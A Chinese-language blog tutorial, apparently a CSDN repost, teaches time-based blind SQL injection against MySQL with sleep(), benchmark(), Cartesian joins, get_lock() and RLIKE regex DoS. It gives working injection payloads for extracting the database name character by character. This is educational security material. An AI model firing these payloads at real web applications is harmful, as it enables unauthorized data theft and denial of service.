当前位置:网站首页>SQL时间注入

SQL时间注入

2022-07-06 09:15:00 Her&mes

SQL Injection Based Time

基于时间的SQL注入,应用于页面无回显的情况,通过页面的延时情况判断数据内容,方法包括以下几种

产生延时的方法/函数
sleep
benchmark
笛卡尔积
get_lock
正则bug

我们一个一个讨论,逐个学习。
另外注意,本文不讨论过滤,也不讨论语法变形(别被给的样例限制了思维);也记得多看看其他师傅写的,多瞅瞅官方文档;如果内容有错误,还请指出,谢谢。

sleep()函数

sleep()是最常见的延时方法,应用广泛,以至于总是被过滤

我们来看一个简单的SQL查询例子

select * from user where id = '$_POST[a]'

当a=1' and sleep(3) --+时,SQL语句变成了:select * from user where id = '1' and sleep(3) --+

利用and连接,and前的查询正确,执行 sleep(3),延时3秒;错误,sleep(3)不执行

若将and换为or,SQL语句为:select * from user where id = '1' or sleep(3) --+

那么sleep(3)的执行不会受到前面结果的形象,这可以用于判断是否存在注入点

还有其他字符能起到andor的作用,如 ||^=

利用这种旁敲侧击的方式,我们能获取信息,再复习一遍与盲注搭配的常用函数

函数作用
substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度
count()计算总数
ascii()返回字符的 ascii 码
length()返回字符串的长度
left(a,b)从左往右截取字符串 a 的前 b 个字符
right(a, b)从右往左截取字符串a的后b个字符

仍以上面的SQL查询语句为例,示范简单的使用方式(第一种方法)

获取目标payload
获得当前数据库名的长度1’ and length(database())=1 and sleep(3) #
验证数据库名的第一个字符1’ and substr(database(),1,1)=‘a’ and sleep(3) #
验证数据库名的第一个字符1’ and ascii(substr(database(),1,1))=1 and sleep(3) #

第二种方法,使用:if( expr1 , expr2 , expr3 ),不过if在盲注中的使用体验并不好

expr1为真,执行exper2expr1为假,执行exper3

select * from user where id = '1' and if(length(database())=1,sleep(3),1) --+

第三种方法,使用:case … when … then … else … end

case有两种类型simple casesearched case,说是两种,实际上应该是case的两种参数

simple case :

CASE [col_name] WHEN [value1] THEN [result1]…ELSE [default] END

将case后面的值col_name分别和每个when子句后面的值value进行相等比较:

如果一旦和某个when子句后面的值相等则返回相应的then子句后面的值result;

如果和所有when子句后面的值都不相等,则返回else子句后面的值;

如果没有else部分则返回null。

注意:value可以是字面量、表达式或者列名,CASE表达式的数据类型取决于跟在then或else后面的表达式的类型

简而言之,这种case判断的流程为,case指定一个判断参数的名字(列名),when后面指定参数值,当参数=参数值时,返回(执行)对应then后面的值。

payload样例:

1' union select 1,case 1 when (substr(database(),1,1)='e') then sleep(2) else 1 end --+

union可以换为and并给后面的select语句加上括号(时刻提醒自己,注入语句是灵活的,多看看语法,多试试语法,别让思维被限制)

searched case :

CASE [col_name] WHEN [condition] THEN [result1]…ELSE [default] END

如果某个when子句后面的条件condition为true,则返回相应的when子句后面的值result;

如果所有的when子句后面的条件condition都不为true,则返回else子句后面的值;

如果没有else部分则返回null。

第二类case与第一类的用法在SQL注入中相同,暂时我是没想出来两者在这里的差别

关于sleep()的内容暂告一段落,有了sleep的铺垫,看(写)之后的内容会轻松了不少,

GO,开启新的姿势!!

benchmark()函数

函数解释

benchmark(arg1,arg2)

arg1为操作次数,arg2为操作的函数

重复执行arg1arg2表达式,使得处理时间增长,利用它的核心思想是通过极大计算量(复杂过程),让不易被人察觉的延时增加到能轻易被脚本(人写的,肯定得知道最低时间差)识别的程度,之后的方法也沿用这一思想

要达到效果,次数要非常大,样例构造:

benchmark(1000000,encode("hello","good"))
benchmark(5000000, md5( 'test' ))

运行时间的查询方法看另一位师傅链接 :查看mysql语句运行时间

benchmark()与sleep()同为函数,构造payload的方法是一样的,它的“使用”一样很广泛

笛卡尔积

听到这个名字就想起被离散数学支配的恐惧,还好这里很简单,MySQL支持笛卡尔积计算,参与运算的集合是表(采用数据量足够多,延时明显的表),可以用自带表information_schema,数据量多,被禁了也没关系,还有其他自带表能用(注意MySQL的版本)

样例构造:

1'and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);

照这个规律,从C后面加个逗号,写D,E等等等,另外使用的“集合”可以是同一个,

get_lock

使用这种方法的前提条件是数据库连接是长连接,即后端需要使用 mysql_pconnect()函数来连接数据库。

函数解释:

get_lock(key, timeout)

尝试使用字符串key(key可以是数字---->绕过单引号限制)指定的名称获取锁,timeout指定锁定时间,单位为秒,负值表示无限锁定。

并且锁是专用的,当由一个session持有时,其他session无法获得相同名称的锁

攻击样例:

session_A:

1' and get_lock(1,2) #

session_A会话里上锁变量1

session_B:

1' and if(payload_key,get_lock(1,2),1) #

session_B会话执行盲注,payload_key为真,延时两秒,为假则立即”回显“

正则bug/正则DOS RLIKE

利用大量正则计算延长时间,实现延时,

rpadrepeat构造长字符串(手打也行),

样例构造:

select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b')

MySQL中,RLIKE运算符用于确定字符串是否匹配正则表达式。它是REGEXP_LIKE()的同义词。

语法:

expr RLIKE pat

其中expr是输入字符串,pat是测试字符串的正则表达式(记得去刷一波MySQL的正则内容)

如果字符串与提供的正则表达式匹配,则结果为1,否则为0。

原网站

版权声明
本文为[Her&mes]所创,转载请带上原文链接,感谢
https://blog.csdn.net/m0_52199518/article/details/115721622